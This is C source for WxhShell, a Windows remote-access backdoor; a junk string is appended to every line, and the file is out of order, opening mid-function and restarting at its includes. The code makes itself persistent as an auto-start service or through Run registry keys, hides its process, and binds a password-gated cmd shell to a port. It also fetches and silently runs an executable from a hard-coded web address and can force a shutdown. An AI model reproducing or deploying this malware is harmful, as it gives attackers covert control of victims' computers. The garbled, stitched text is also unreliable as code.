    else { QeAkuqT'[  
    closesocket(wsh); _nnl+S>K  
    ExitThread(0); _bq2h%G=8  
    } (aH_K07  
    break; kA:cz$ )  
    } g>R md[!/  
  // 获取shell d3C*]|gQ  
  case 's': { e.g$|C^$m  
    CmdShell(wsh); (3G]-  
    closesocket(wsh); k@R)_,2HH  
    ExitThread(0); D#9W [6  
    break; _^ @}LVv+E  
  } ^coJ"[D  
  // 退出 iNs  
  case 'x': { hAZ"M:f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7" cgj#  
    CloseIt(wsh); RT2a:3f  
    break; SY2B\TV  
    } 8:A6Ew&\]O  
  // 离开 mY1$N}8fm  
  case 'q': { -r82'3]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~ #~Kxh  
    closesocket(wsh); .es= w=  
    WSACleanup(); }F R yG%  
    exit(1); Icf@uQ6  
    break; _zO,VL  
        } 0?j+d8*  
  } STB=#z  
  } F;&'C$%  
WYE[H9x1?  
  // 提示信息 Im_`q\i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MgLz:2 :F  
} qx/GioPU  
  }  /m*vY`  
akQtre`5sd  
  return; Hw/1~O$T  
} oZ~M`yOz.  
!-4pr[C  
// shell模块句柄 C`x>)wm:  
int CmdShell(SOCKET sock) 7b T5-=.  
{ m5LP~Gb  
STARTUPINFO si; 'bg%9}  
ZeroMemory(&si,sizeof(si)); 9W7H",wR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B)"WG7W E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~c3CyOab  
PROCESS_INFORMATION ProcessInfo; ZA ii"F  
char cmdline[]="cmd"; { lLUZM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U=%S6uL\bx  
  return 0; fr\UX}o  
} @,sg^KB  
? B^*YCo7(  
// 自身启动模式 p<6pmW3  
int StartFromService(void) z{^XU"yB  
{ 1}!f.cWV(  
typedef struct =RUKN38  
{ 0:nQGX!N  
  DWORD ExitStatus; t9x.O  
  DWORD PebBaseAddress; uBs[[9je(  
  DWORD AffinityMask; ~GS`@IU}  
  DWORD BasePriority; Md[nlz  
  ULONG UniqueProcessId; c{#lKD<7  
  ULONG InheritedFromUniqueProcessId; G0//P .#  
}   PROCESS_BASIC_INFORMATION; zYj8\iER  
G#CWl),=  
PROCNTQSIP NtQueryInformationProcess; tL;;Yt  
7IZ(3B<87t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q^dI!93n|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4- 6'  
-i @!{ ?  
  HANDLE             hProcess; ^ tm,gh  
  PROCESS_BASIC_INFORMATION pbi; e v?Hz8Q;(  
( {zp$P}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oc-7gz)  
  if(NULL == hInst ) return 0; hgKs[ySo,3  
"mT~_BsD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bU:"dqRm<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m(Bv}9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); })bTQj7  
0  x"3  
  if (!NtQueryInformationProcess) return 0; fwxyZBr  
P/Sv^d5=e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i' |S g  
  if(!hProcess) return 0; K#F~$k|1B  
z6FG^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o*I-~k  
sOLo[5y'  
  CloseHandle(hProcess); F/RV{} 17E  
}(TZ}* d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o &LNtl;  
if(hProcess==NULL) return 0; -F|(Y1OE  
s bW`  
HMODULE hMod; ^O[q C X  
char procName[255]; $+[HJ{  
unsigned long cbNeeded; )n|:9hc  
HcQ{ok9u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~"}-cl,  
{v]A`u)  
  CloseHandle(hProcess); c+|,2e 0T  
%qfEFhRC  
if(strstr(procName,"services")) return 1; // 以服务启动 4"wuqr|o  
8<?60sj  
  return 0; // 注册表启动 "PJ@Q9n__  
} @ZK|k  
XRj<2U 5  
// 主模块 lgA9p 4-  
int StartWxhshell(LPSTR lpCmdLine) "vjz $.  
{  }e9:2  
  SOCKET wsl; )+mbR_@,O6  
BOOL val=TRUE; 5oWR}qqFK  
  int port=0; -jFt4Q7}8  
  struct sockaddr_in door; 7=mU["raz`  
]eP&r?B  
  if(wscfg.ws_autoins) Install(); MF]s(7U4 `  
> -Jd@7-  
port=atoi(lpCmdLine); \\x``*  
.wS' Xn&  
if(port<=0) port=wscfg.ws_port; c<-_Vh.:5  
0ltq~K  
  WSADATA data; ?OvtR:hC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X )g <F  
M_UhFY='  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OES+BXGX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i>q]U:U  
  door.sin_family = AF_INET; g;eMsoJG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qV^,muyoG  
  door.sin_port = htons(port); @y)-!MHN(8  
z+NXD4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VwHTtZ  
closesocket(wsl); >,A:zbs&  
return 1; vQ26U(7\>  
} qeSxE`E"  
Uq0RJ<n  
  if(listen(wsl,2) == INVALID_SOCKET) { JyYg)f  
closesocket(wsl); i4v7x;m_p  
return 1; [D?RL `ZF  
} )iluu1,o  
  Wxhshell(wsl); *)U=ZO6S  
  WSACleanup(); SG;]Vr  
<+" Jh_N#  
return 0; xAQ=oF +  
LYkW2h`JQ  
} }O5c.3  
0b~5i-zM/  
// 以NT服务方式启动 SpjL\ p0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Iz!Blk  
{ B {f&'1pp/  
DWORD   status = 0; xhj A!\DS  
  DWORD   specificError = 0xfffffff; wp-*S}TT  
2|kx:^D p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qA#!3<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n4qj"x Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /)MzF6  
  serviceStatus.dwWin32ExitCode     = 0; J/M1#sE  
  serviceStatus.dwServiceSpecificExitCode = 0; kiZA$:V8  
  serviceStatus.dwCheckPoint       = 0; AAxY{Z-4  
  serviceStatus.dwWaitHint       = 0; RAR"9 N .  
$2 ~RZpS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `8KWZi4 ]  
  if (hServiceStatusHandle==0) return; 2zh?]if  
b,$H!V *  
status = GetLastError(); #ZRQVC;b;  
  if (status!=NO_ERROR) QOcB ]G  
{ G?8LYg!-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ePa1 @dI  
    serviceStatus.dwCheckPoint       = 0; \ :1MM  
    serviceStatus.dwWaitHint       = 0; j#9p 0[  
    serviceStatus.dwWin32ExitCode     = status; ShxB!/s  
    serviceStatus.dwServiceSpecificExitCode = specificError; t+W+f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tB'F`HM:mq  
    return; ~aNK)<Fznd  
  } [l:3F<M  
uqnoE;57^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IFH%R>={  
  serviceStatus.dwCheckPoint       = 0; |k{?\(h;  
  serviceStatus.dwWaitHint       = 0; mH}/QfUlq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mfIY7DP  
} Nf%jLK~  
x0?8AG%  
// 处理NT服务事件,比如:启动、停止 i_)j K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NELQo#kjZ  
{ 1K"``EvNB  
switch(fdwControl) KFkKr>S :  
{ "$;=8O5O  
case SERVICE_CONTROL_STOP: "/[-U;ck  
  serviceStatus.dwWin32ExitCode = 0; W> s@fN9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KtA0 8?B  
  serviceStatus.dwCheckPoint   = 0; w6'o<=  
  serviceStatus.dwWaitHint     = 0; nMNAn}~*M  
  { h$_Wh(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &-470Z%/  
  } !r,ZyJU  
  return; Ts:3_4-k  
case SERVICE_CONTROL_PAUSE: "O<JVC{m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7,d^?.~S  
  break; $C##S@  
case SERVICE_CONTROL_CONTINUE: cH.T6u_%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |g}! F-  
  break; zT6ng#  
case SERVICE_CONTROL_INTERROGATE: .1XZ9M  
  break; $Ud-aRlD  
}; @ZK#Y){  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $M@SZknm  
} fJtJ2xi  
}"06'  
// 标准应用程序主函数 ZsirX~W<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) muwXzN(KX  
{ )Mx[;IwE  
5][Rvu0  
// 获取操作系统版本 U#gHc:$  
OsIsNt=GetOsVer(); Pwt4e-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x#|=.T  
gEcVQPD@  
  // 从命令行安装 (9CB&LZ(+E  
  if(strpbrk(lpCmdLine,"iI")) Install(); '""qMRCm  
pv~XZ(J.1  
  // 下载执行文件 U SXz  
if(wscfg.ws_downexe) { hY7Q$B<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LS{g=3P0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Us1F=i_Q  
} v(3nBZHv_!  
yK+76\} I  
if(!OsIsNt) { GrGgR7eC#P  
// 如果时win9x,隐藏进程并且设置为注册表启动 "Q`{+|'=E  
HideProc(); h `d(?1  
StartWxhshell(lpCmdLine); rteViq+|.  
} N{IY \/;\  
else ,--/oP  
  if(StartFromService()) &THM]3:  
  // 以服务方式启动 )NGBA."t  
  StartServiceCtrlDispatcher(DispatchTable); /ZlW9|  
else 8)&H=#E  
  // 普通方式启动 IJ3[6>/ M0  
  StartWxhshell(lpCmdLine); w1F7gd  
:W<ag a;J  
return 0; $g$~TuA w  
} _- H uO/  
BA' ($D>  
8XD9fB^  
v)N8vFdd  
=========================================== .J#xlOa-  
AMA :hQ  
1!/cd;{B  
x2ln$dSy7  
BP6;dF5 E  
',n;ag`c  
" #.?DsK_:@  
|tP1,[w">  
#include <stdio.h> 6Ii2rEzD  
#include <string.h> Fl>v9%A  
#include <windows.h> ?u` ?_us  
#include <winsock2.h> J xi>1  
#include <winsvc.h> -wtavv,J  
#include <urlmon.h> "Nj(0&  
cpz}!D  
#pragma comment (lib, "Ws2_32.lib") jb$sIZ%i  
#pragma comment (lib, "urlmon.lib") G1  %c<1Y  
}UMg ph:2:  
#define MAX_USER   100 // 最大客户端连接数 EMU~gwPR  
#define BUF_SOCK   200 // sock buffer 3!`Pv ?|o  
#define KEY_BUFF   255 // 输入 buffer Jg/l<4,K,  
Z7"8dlb  
#define REBOOT     0   // 重启 #M&rmKv)g  
#define SHUTDOWN   1   // 关机 h ^g"FSzP  
 7=0uG  
#define DEF_PORT   5000 // 监听端口 .!RBh LH_g  
n=MdbY/k(  
#define REG_LEN     16   // 注册表键长度 I >k3X~cG  
#define SVC_LEN     80   // NT服务名长度 8s-RNA>7^  
u{"o*udU  
// 从dll定义API EC&t+"=R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N*$<Kjw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x~!B.4gT2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H@bra~k-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bs =V-0  
m=Y9sB  
// wxhshell配置信息 ~;_]U[eOL  
struct WSCFG { GeWB"(t  
  int ws_port;         // 监听端口 E)3B)(@&P  
  char ws_passstr[REG_LEN]; // 口令 9~I\WjB "  
  int ws_autoins;       // 安装标记, 1=yes 0=no {J%Na&D  
  char ws_regname[REG_LEN]; // 注册表键名 N5#qox$D  
  char ws_svcname[REG_LEN]; // 服务名 }>b4s!k,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !p >a,8w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nS"K dPM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o<1e-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GBzC<e#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s+(%N8B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xcnHj1r-o'  
(l{+ T#  
}; 54WM*FZ  
$"0 t1  
// default Wxhshell configuration Q~G+YjM3  
struct WSCFG wscfg={DEF_PORT, xyj)W  
    "xuhuanlingzhe", 10_eUQN  
    1, iN8?~T}w  
    "Wxhshell", g4<%t,(88E  
    "Wxhshell", 'C+z  
            "WxhShell Service", Qh%/{6(u  
    "Wrsky Windows CmdShell Service", U8]L3&~  
    "Please Input Your Password: ", X5U_|XK6Y  
  1, P0~3<h?U8  
  "http://www.wrsky.com/wxhshell.exe", <Q/^[  
  "Wxhshell.exe" 5u T 9ssC  
    }; 5#g<L ~  
fO[X<|9  
// 消息定义模块 JaKR#Y$+~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bYQ h{q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0bQaXxt|p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vo+d3  
char *msg_ws_ext="\n\rExit."; R?qVFMQ  
char *msg_ws_end="\n\rQuit."; 0&=2+=[c  
char *msg_ws_boot="\n\rReboot..."; 0*L|r Jf  
char *msg_ws_poff="\n\rShutdown..."; `!S5FE"-  
char *msg_ws_down="\n\rSave to "; /D`M?nD7  
sSd  
char *msg_ws_err="\n\rErr!"; )MZ]c)JD^  
char *msg_ws_ok="\n\rOK!"; D;Fvd:  
>9a%"<(2#  
char ExeFile[MAX_PATH]; V"%2Tz  
int nUser = 0; HB {-^9{E  
HANDLE handles[MAX_USER]; 8V_ ]}W  
int OsIsNt; @pQv}%  
$JqdI/s  
SERVICE_STATUS       serviceStatus; ~53E)ilB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [T"oqO4%]  
^8.R 'Yq  
// 函数声明 Tr)a6Cf  
int Install(void); (6u<w#u  
int Uninstall(void); W0tBF&E"  
int DownloadFile(char *sURL, SOCKET wsh); ^c< <I-o|  
int Boot(int flag); e~$MIHBY]  
void HideProc(void); $^IuE0.  
int GetOsVer(void); Il2DZ5- )  
int Wxhshell(SOCKET wsl); -kES]P?2  
void TalkWithClient(void *cs); idGkX ?  
int CmdShell(SOCKET sock); &_,^OE}K_:  
int StartFromService(void); rr3NY$W  
int StartWxhshell(LPSTR lpCmdLine); bVtboHlY  
4S  2I]d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7$x@;%xd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -2v|d]3qG  
 ^wb -s  
// 数据结构和表定义 si=/=h  
SERVICE_TABLE_ENTRY DispatchTable[] = \>cZ=  
{ 9XT6Gf56  
{wscfg.ws_svcname, NTServiceMain}, `>?\MWyu  
{NULL, NULL} .}ohnnJB0  
}; fTY@{t  
N TXT0:  
// 自我安装 ;&W N%L*  
int Install(void) }tft@,dIC  
{ Xu3^tH-b<  
  char svExeFile[MAX_PATH]; _M:)x0("  
  HKEY key; dLD"Cx  
  strcpy(svExeFile,ExeFile); a&#Z=WK4  
1)#<nk)I  
// 如果是win9x系统,修改注册表设为自启动 A&$!s)8z  
if(!OsIsNt) { H b]    
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o4Fh`?d}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mb0${n~fz  
  RegCloseKey(key); IL3,dad'^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8PXleAn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VOG DD@  
  RegCloseKey(key); F5:*;E;$  
  return 0; :J(a;/~ip  
    } U(W#H|  
  } J2aA"BhdC"  
} n.$<D[@  
else { 8f,jC+(  
3tnYK&  
// 如果是NT以上系统,安装为系统服务 m f4@g05  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s=q\BmG  
if (schSCManager!=0) BRoi`.b:  
{ Zdh4CNEeFP  
  SC_HANDLE schService = CreateService kC|tv{g#>  
  ( xw%?R=&L  
  schSCManager, rcxV ,<[B  
  wscfg.ws_svcname, eX?o 4>  
  wscfg.ws_svcdisp, kt[#@M!}  
  SERVICE_ALL_ACCESS, sN-5vYfC*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p]!,Bo ZL  
  SERVICE_AUTO_START, T]Tz<w W(  
  SERVICE_ERROR_NORMAL, o"Ef>5N  
  svExeFile, DbPw) aCj  
  NULL, ?e3q0Lg3 |  
  NULL, L}>9@?;GW  
  NULL, cB.v&BSW  
  NULL, K W04  
  NULL m|24)%Vj;=  
  ); t~5>PS  
  if (schService!=0) xg'0YZ\t  
  { ]P(Eo|)m  
  CloseServiceHandle(schService); of+$TKQNpN  
  CloseServiceHandle(schSCManager); Esw&ScBOP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jXZKR(L  
  strcat(svExeFile,wscfg.ws_svcname); HP]Xh~aP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UY}lJHp0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >/e#Z h  
  RegCloseKey(key); ]lz,?izMR  
  return 0; >:OOuf#  
    } YI%7#L7C  
  } 9!bD|-6y  
  CloseServiceHandle(schSCManager); ((.PPOdJV  
} gl]{mUZz}  
} %*|XN*iXC  
yc%AkhX*  
return 1; gP/]05$e  
} IFG`  
3XL0Pm  
// 自我卸载 QR4v6*VpD  
int Uninstall(void) Yo7ctwzdH;  
{ @q^WD_k  
  HKEY key; #\`6ZHW  
gkBat(Uc  
if(!OsIsNt) { H[-zQ#I9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O,^,G<`  
  RegDeleteValue(key,wscfg.ws_regname); <LBMth  
  RegCloseKey(key); H7l[5 ib  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9W9*WQL  
  RegDeleteValue(key,wscfg.ws_regname); j{p0yuZ)<  
  RegCloseKey(key); ).v;~yE   
  return 0; OEB_LI'  
  } D#(A?oN  
} X+&@$v1  
} diTzolY7  
else { L x9`y t6  
 .':SD{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _9L2JN$R6  
if (schSCManager!=0) :&_@U$  
{ Xj !0jF33  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v+Mt/8  
  if (schService!=0) : FxZdE  
  { :M=!MgD3w  
  if(DeleteService(schService)!=0) { `uzRHbJ`  
  CloseServiceHandle(schService); kx'6FkZPIr  
  CloseServiceHandle(schSCManager); .@B \&U7  
  return 0; u;=("S{"0  
  } <#`<Ys3b*!  
  CloseServiceHandle(schService); PicO3m  
  } UK _2i(I"e  
  CloseServiceHandle(schSCManager); @Chj0wWZ>  
} YjHGdacs  
} ,{E'k+  
Qz<v. _  
return 1; oO= 6Kd+T  
} WBC'~h<@  
yP-.8[;  
// 从指定url下载文件 A`OU} 'v?L  
int DownloadFile(char *sURL, SOCKET wsh) Dhef|E<  
{ #}k^g:l1  
  HRESULT hr; >aa-ix &  
char seps[]= "/"; [$] JvF  
char *token; ;Vp&f%u+v  
char *file; m4 4aK qw)  
char myURL[MAX_PATH]; /]+t$K\cBq  
char myFILE[MAX_PATH]; .5ingB3%  
(F_#LeJ|  
strcpy(myURL,sURL); g00XZ0@  
  token=strtok(myURL,seps); H 5sj% v  
  while(token!=NULL) Q >sq:R+'  
  { Mb$&~!  
    file=token; M%$zor  
  token=strtok(NULL,seps); *7-uQKp  
  } (_-z m)F7  
@Vb-BC,  
GetCurrentDirectory(MAX_PATH,myFILE); M ?F({#]  
strcat(myFILE, "\\"); T_\GvSOI  
strcat(myFILE, file); a nIdCOh  
  send(wsh,myFILE,strlen(myFILE),0); |@d7o]eM|  
send(wsh,"...",3,0); <Pf W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '<XG@L  
  if(hr==S_OK) noL<pkks~R  
return 0; bNc=}^  
else >L=l{F6 p  
return 1; q l8CgL  
F;MFw2G  
} S{ *RF)  
q$H'u[KQ06  
// 系统电源模块 iLS' 47  
int Boot(int flag) *!.'1J:YJ(  
{ x:?1fvVR  
  HANDLE hToken; *4r;H2%c  
  TOKEN_PRIVILEGES tkp; ii~~xt1  
N^`F_R1Z  
  if(OsIsNt) { {){i ONd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m3,]j\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r[~K m5  
    tkp.PrivilegeCount = 1; %} \@Wk~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \UN7lDH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c()F%e:n  
if(flag==REBOOT) { e'7!aysj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #M8"b]oh6  
  return 0; eR5swy&  
} 2;6p2GNSh  
else { "CLd_H*)c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h^[K= J  
  return 0; Zx`hutCv  
} 5GpR N  
  } ]A!Gr(FHQ  
  else { |yQ3H)qB#  
if(flag==REBOOT) { #x "pG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c: #1Aym  
  return 0; c t,p?[Q  
} tJg   
else { yQCfn1a)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =DF7l<&km  
  return 0; [n66ZY#U]  
} +KD~/}C%-  
} 4d6F4G4U  
= u73AM}  
return 1; Pk*EnA)  
} 5z#>>|1>#  
-*tP_=-Dg  
// win9x进程隐藏模块 J^1w& 40  
void HideProc(void) a"hlPJlG  
{ WO_cT26Y  
&a-:ZA@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6)DYQ^4y  
  if ( hKernel != NULL ) Z mYp!B_~  
  { 9h~>7VeZ)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A!@D }n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P3@[x  
    FreeLibrary(hKernel); VN;Sz,1Z  
  } q=|>r n_  
{$Fg+~   
return; %'EOFv]  
} w,JB`jS)/  
KWhw@y-5j@  
// 获取操作系统版本 eGnc6)x@C  
int GetOsVer(void) :2  
{ g^8bY=* .  
  OSVERSIONINFO winfo; '&s:,o-p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wCc:HfmjJ  
  GetVersionEx(&winfo); 9j9A'Y9(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rWSw1(sAA  
  return 1; VU)ywIs  
  else >#c]rk:  
  return 0; GD.mB[f*  
} nvpdu)q<  
0nA17^W  
// 客户端句柄模块 hC5ivJ  
int Wxhshell(SOCKET wsl) GQ)hZt0  
{ Fc42TH p  
  SOCKET wsh; [nYwJ  
  struct sockaddr_in client; R-hqaEB  
  DWORD myID; Z/56JYt!~  
#!9aTp).AL  
  while(nUser<MAX_USER) B||^ sRMX  
{ 1<fEz  
  int nSize=sizeof(client); '{U56^b]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YceiP,!4?v  
  if(wsh==INVALID_SOCKET) return 1; ZK_IK)g  
)SUT+x(DU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m5f/vb4l  
if(handles[nUser]==0) A-.jv  
  closesocket(wsh); [4( TG<I  
else v@"xEf1n[  
  nUser++;  3]<$;[Q  
  } 0(-'L\<>x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >iWl-hI-  
Wc03Sv&FZ  
  return 0; l0[jepmpiT  
} Lj({ T'f(  
~D<o}ItRF  
// 关闭 socket K'n^, t  
void CloseIt(SOCKET wsh)  {EZ ;  
{ ]@M$.msg@  
closesocket(wsh); -4Y}Y5 9\  
nUser--; w doA>a?q  
ExitThread(0); Cl4y9|  
} vF3>nN(]  
R7Hn8;..  
// 客户端请求句柄 OsvAm'B  
void TalkWithClient(void *cs) N;RZIg(x  
{ T" 8>6a@}E  
XQ,I Ej|  
  SOCKET wsh=(SOCKET)cs; =F8uuYX%m  
  char pwd[SVC_LEN]; 7f[nNng  
  char cmd[KEY_BUFF]; #`v`e"  
char chr[1]; "t`r_Aw  
int i,j; ~F>oNbJIv  
kzgH p,;R{  
  while (nUser < MAX_USER) { )v8;\1`s:  
u ldea)  
if(wscfg.ws_passstr) { #j iQa"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tkV:kh< L~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HC}D<FX |  
  //ZeroMemory(pwd,KEY_BUFF); ^/mQo`[G  
      i=0; : bT*cgD{  
  while(i<SVC_LEN) { 8r)eiERv  
% NX  
  // 设置超时 #qm<4]9 1  
  fd_set FdRead; ks sXi6^  
  struct timeval TimeOut; u\&oiwSIP  
  FD_ZERO(&FdRead); n4(w?,w }  
  FD_SET(wsh,&FdRead); ANp4yy+  
  TimeOut.tv_sec=8; W[j =!o  
  TimeOut.tv_usec=0; 9j$ OU@N 8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <`*6;j.&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u=#LY$  
(= uwx#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v?n`kw  
  pwd=chr[0]; ]n\WCU ]0  
  if(chr[0]==0xd || chr[0]==0xa) { Fov/?:f$  
  pwd=0; t*e+[  
  break; ^=E4~22q  
  } u#la+/   
  i++; 9%kY8#%SV  
    } -!(3fO:  
U|-4*l9Ed  
  // 如果是非法用户,关闭 socket {eqUEdC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #B)/d?aa'  
} m{(D*Vuqd  
VH,k EbJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DU]MMR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G\Toi98d*  
B58H7NH ;G  
while(1) { hH )jX`Ta  
Q gDjc '  
  ZeroMemory(cmd,KEY_BUFF); PFUb\AY  
~ E>D0o  
      // 自动支持客户端 telnet标准   ?VS {,"X  
  j=0; wC'KI8-  
  while(j<KEY_BUFF) { UQ`%,D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &FkKnz4IZ  
  cmd[j]=chr[0]; n*@^c$&P  
  if(chr[0]==0xa || chr[0]==0xd) { L.l%EcW=,  
  cmd[j]=0; _BtppQIWv  
  break; {5^ 'u^E  
  } HBo^8wN  
  j++; a%*W^R9Ls  
    } Qj[4gN?}=  
3`IDm5  
  // 下载文件 !ssE >bDa  
  if(strstr(cmd,"http://")) { Y?ZTl762  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n?!.r c  
  if(DownloadFile(cmd,wsh)) ')Ozz<{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u0w2v+  
  else ;=*b:y Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J U}XSb  
  } D#W{:_f  
  else { n_.2B$JD  
8[(c'rl|)|  
    switch(cmd[0]) { s2b!Nib  
  ?n\~&n'C  
  // 帮助 @<W"$_ r-  
